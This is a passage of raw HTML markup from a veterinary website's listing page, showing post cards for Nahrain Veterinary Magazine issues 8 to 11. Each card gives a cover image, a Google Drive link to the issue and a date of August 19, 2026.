center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-2 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01-2.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01-2.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-3 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-8/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-3 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-3 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-8/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 8</a></h4></div><div class="fusion-text fusion-text-2" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 8 https://drive.google.com/file/d/1sVcTGc_KHsOCDwjjTfze0FI1iYwQr-lp/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-4 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-7 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-4 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01-1.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01-1.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-5 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-9/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-5 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-4 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-9/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 9</a></h4></div><div class="fusion-text fusion-text-3" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 9 https://drive.google.com/file/d/1_E2t4oVuYl7DI-ro_NC2FgVjuY36_-1S/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-6 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-8 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-6 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/Page_01.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-7 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-10/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-7 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-5 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-10/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 10</a></h4></div><div class="fusion-text fusion-text-4" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 10 https://drive.google.com/file/d/1mFD2Mjz5T8XAtRXpDl0m6875OOlkwhVf/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-8 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-9 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-8 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-scaled.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-scaled.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-9 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-11/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-9 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-6 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-11/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 11</a></h4></div><div class="fusion-text fusion-text-5" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 11 https://drive.google.com/file/d/1wqDNpZd9bNZXLDdlF7dEcZBFUOolZcL1/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-10 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-10 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 